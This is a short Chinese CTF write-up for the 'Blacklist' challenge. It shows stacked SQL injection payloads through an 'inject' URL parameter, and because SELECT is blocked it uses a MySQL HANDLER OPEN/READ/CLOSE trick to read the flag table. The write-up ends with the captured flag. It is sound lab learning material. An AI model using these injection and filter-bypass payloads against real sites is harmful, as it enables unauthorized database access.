[GYCTF2020]Blacklist 1
打开实例发现get提交框,提交1发现显示
尝试万能密码无果
尝试联合注入,显示出了过滤规则,可以见到很多关键字都被过滤了
尝试堆叠注入,成功显示出数据表
?inject=1';show databases;
查表
?inject=1';use ctftraining;show tables;
看到了个FLAG_TABLE
查字段
?inject=1';use ctftraining;show tables;show columns from FLAG_TABLE;
这边显示not_flag
,靠背了又查错表了
重新查询supersqli
表
?inject=1';use supersqli;show tables;
看到FlagHere
,这次准没错了
查字段
?inject=1';use supersqli;show tables;show columns from FlagHere;
看到flag的列,但是未能显示出flag
这边因为select等字段被过滤的原因,所以并不能采用直接select的方式进行查询,所以思考片刻决定采用handler
进行查询
构造payload:
?inject=1';use supersqli;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
成功获取到flag
flag{40d647f8-9b46-4d91-82d1-d15815fab409}